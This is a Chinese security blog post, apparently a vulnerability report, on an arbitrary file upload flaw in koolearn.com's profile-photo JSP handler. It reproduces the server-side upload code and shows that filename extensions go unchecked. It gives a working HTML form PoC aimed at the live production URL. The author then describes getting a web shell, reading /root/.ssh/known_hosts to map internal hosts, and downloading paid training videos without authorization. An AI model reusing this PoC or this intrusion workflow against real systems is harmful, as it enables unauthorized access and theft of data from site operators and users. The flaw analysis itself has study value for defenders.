其实这个词汇老师讲的真不错,问题出在下载课件处,
<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.*,java.util.*"%> <%@page import="com.koolearn.eclass.util.ServletUtils"%> <%@page import="org.apache.commons.fileupload.FileItem"%> <%@page import="com.koolearn.rest.util.FileUtils"%> <%@page import="org.apache.commons.io.FilenameUtils"%> <%@page import="com.koolearn.eclass.util.FileUploadUtil"%> <%@page import="org.apache.commons.fileupload.DiskFileUpload"%> <% //定义上载文件的最大字节 response.setContentType("text/html"); response.resetBuffer(); int MAX_SIZE = 1024*1024*10; //声明文件读入类 DataInputStream in = null; //取得客户端上传的数据类型 String contentType = request.getContentType(); try{ if(contentType.indexOf("multipart/form-data") >= 0 ){ int formDataLength = request.getContentLength(); if(formDataLength > MAX_SIZE){ //System.out.println("上传的文件字节数不可以超过" + MAX_SIZE/1024/1024+"M"); return; } String fileNameWithType = ""; int userId = -1; DiskFileUpload upload = new DiskFileUpload (); List items = upload.parseRequest(request); Iterator itr = items.iterator(); while(itr.hasNext()) { FileItem item = (FileItem) itr.next(); if(item.isFormField()) { String fieldName = item.getFieldName(); if(fieldName.equals("userid")){ //System.out.println("=====dd==="+item.getString() ); userId = Integer.parseInt(item.getString()); } }else{ //读入上传图片的数据 fileNameWithType = FilenameUtils.getName(item.getName()); //System.out.println("========================="+fileNameWithType); in = new DataInputStream(item.getInputStream()); } } String saveFile = FileUploadUtil.getNewName( fileNameWithType ); String rootPath = FileUploadUtil.savePhotoURL(userId)+"/"; //System.out.println("========"+rootPath); //创建保存路径的文件名 //zx String fileName = rootPath + saveFile; System.out.println("========"+fileName); //检查上载文件是否存在 File checkFile = new File(fileName); if(checkFile.exists()){ //System.out.println(saveFile + "文件已经存在"); } //检查上载文件的目录是否存在 File fileDir = new File(rootPath); if(!fileDir.exists()){ fileDir.mkdirs(); } //System.out.println("_"+FileUploadManager.getPortraitURL(userId)+"/"+saveFile+"_"); FileUtils.saveFile(in,fileName); String testurl = (FileUploadUtil.getPortraitURL(userId)+"/"+saveFile).trim(); testurl = testurl.replace(ServletUtils.getBaseURL(request),""); out.print(testurl); System.out.println("_"+testurl+"_"); out.flush(); } else{ String content = request.getContentType(); } }catch(Exception ex){ ex.printStackTrace(); throw new ServletException(ex.getMessage()); } %>
重点在这句String saveFile = FileUploadUtil.getNewName( fileNameWithType ); 运气好这个文件可以下载,没有打成jar文件,就直接下载了 public static String savePhotoFile(String path, FileItem fileItem) throws IOException { if (fileItem == null) return ""; String ext = ""; String fileName = ""; fileName = fileItem.getName(); if (fileName.indexOf(".") > 0) { ext = fileName.substring(fileName.lastIndexOf(".") + 1); } String extTypes = SystemGlobals.getPreference("upload.exts"); if (extTypes.indexOf(ext) < 0) { return ""; } fileName = String.valueOf(System.currentTimeMillis()); if (!StringUtils.isBlank(ext)) { fileName = fileName + "." + ext; } saveFile(path, fileName, fileItem.getInputStream()); return fileName; }/code>
这段代码写的判断了后缀,只可惜没有调用,那就太好了 <code>public static final String getNewName(String originalName) { Random random = new Random(); SimpleDateFormat sdf = null; try { sdf = new SimpleDateFormat("yyyyMMddHHmmss"); } catch (Exception ex) { ex.printStackTrace(); return originalName; } String newName = sdf.format(new Date()) + random.nextInt(100) + "." + FilenameUtils.getExtension(originalName); return newName; }
getNewName方法就按照时间戳生成了个文件名,文件后缀没有处理,到这里就造成了任意文件上传了。 poc <form action="http://www.koolearn.com/bottom/headPhoto.jsp" enctype="multipart/form-data" method="post"> <input type="file" name="table">//name值随便,看源码就知道了 <input type="submit"> </form> </body> </html>
拿到shell后,查看了下ssh,/root/.ssh/known_hosts文件,大致知道了内网的机器台数, 内容在这就不贴了,内网不擅长,就不浪费时间了,不然废话太多,拿到shell之后下载了几个雅思的 培训视频看了下,视频 下载已经删除。本人对数据不感兴趣,所以 数据库丝毫未动。 写了这么多废话,怎么修复应该很明显了。 |
-
上一篇: 金迪邮件系统任意用户劫持到添加系统管理员
下一篇: U-Mail任意文件上传漏洞一枚及修复 - 网站安全
还没有人抢沙发呢~